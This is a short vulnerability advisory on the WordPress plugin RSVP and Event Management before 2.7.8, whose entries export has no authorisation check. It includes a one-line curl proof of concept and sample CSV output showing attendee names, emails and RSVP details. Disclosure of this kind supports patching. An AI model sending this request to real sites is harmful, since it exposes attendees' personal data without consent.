RSVP and Event Management < 2.7.8 - Unauthenticated Entries Export

The plugin does not have any authorisation checks when exporting its entries, and has the export function hooked to the init action. As a result, unauthenticated attackers could call it and retrieve PII such as first name, last name and email address of users registered for events

curl "https://example.com/wp-admin/admin.php?page=rsvp-admin-export"

"First Name","Last Name","Email","RSVP Status","Kids Meal","Associated Attendees","Vegetarian","Note","Additional Attendee","pre-fill URL"
"test","test","[email protected]","Yes","N","","N","","N",""